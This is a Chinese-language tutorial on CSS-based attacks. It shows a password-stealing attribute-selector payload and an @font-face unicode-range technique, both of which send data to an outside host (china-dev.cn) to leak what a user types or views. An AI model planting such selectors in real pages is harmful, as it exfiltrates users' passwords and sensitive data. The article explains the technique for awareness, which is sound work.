CSS

前言

  • 常见的攻击有XSS攻击和CSRF等攻击方式
  • 但是，其他有一种攻击，是CSS攻击

    第一种：CSS获取用户密码

    当用户输入指定的密码是：Fcant，就会发起请求到指定的接口
    1. <!DOCTYPE html>
    2. <html lang="en">
    3.   <head>
    4.       <meta charset="UTF-8" />
    5.       <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    6.       <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    7.       <title>Document</title>
    8.       <style>
    9.           input[type='password'][value$='Fcant'] {
    10.               background-image: url('https://china-dev.cn');
    11.           }
    12.       </style>
    13.   </head>
    14.   <body>
    15.       <div id="root">root</div>
    16.       <input type="password" value="前端巅峰"/>
    17.   </body>
    18. </html>
    向china-dev.cn发起了请求，此时后台已经知道了密码输入的是：Fcant
    2021-05-09-00-05-28-723705.png
    这个value，也可以不是全等于，也可以是*包含，或者^开头，经过一系列复杂的CSS选择器组合，大概率可以知道用户的密码（通过向后台发送请求，记录用户输入密码的顺序）
    有人会问，如果通过CSS去import js呢？
    这是在stackoverflow找到的答案

    The ‘@import‘ rule allows users to import style rules from other style sheets. Any @import rules must follow all @charset rules and precede all other at-rules and rule sets in a style sheet. The ‘@import’ keyword must be followed by the URI of the style sheet to include. A string is also allowed; it will be interpreted as if it had url(…) around it.

W3C的C3/import规范：https://www.w3.org/TR/css-syntax-3/#import
2021-05-09-00-05-28-856384.png
规范中写明，当实际解析样式表，那些不符合规则的，在语法检查样式表时被视为无效而删除。可以看见CSS中import js可以成功发起请求，但是不会解析JS

第二种：通过font-face去获取页面中的敏感数据

  • 攻击场景：一些比较敏感的资料，一些重要任务浏览或者编写而成
  • 先了解一些前置知识,这是指定名为”myFirstFont”的字体，并指定在哪里可以找到它的URL：
    1. @font-face{
    2. font-family: myFont;
    3. src: url('https://china-dev.cn'),
    4. }
    这里有一个属性：unicode-range，可选。定义该字体支持Unicode字符的范围。默认值是”ü+0-10 FFFF”，文档地址：https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range
    1. unicode-range
    2. /* 支持的值 */
    3. unicode-range: U+26;               /* 单个字符编码 */
    4. unicode-range: U+0-7F;
    5. unicode-range: U+0025-00FF;        /* 字符编码区间 */
    6. unicode-range: U+4??;              /* 通配符区间 */
    7. unicode-range: U+0025-00FF, U+4??; /* 多个值 */
    unicode-range的常用unicode值及获取
    对于中文用户，最常用的有下面这些：
    1. 汉字：[0x4e00,0x9fa5]（或十进制[19968,40869]）
    2. 数字：[0x30,0x39]（或十进制[48, 57]）
    3. 小写字母：[0x61,0x7a]（或十进制[97, 122]）
    4. 大写字母：[0x41,0x5a]（或十进制[65, 90]）
    举一反三，那么根据复杂且特定的规则，也可以得出用户界面上浏览的内容是否存在想要的敏感数据，伪代码实现:
    1. @font-face{
    2. font-family: myFont;
    3. src: url('https://china-dev.cn'),
    4.   unicode-range:*******
    5. }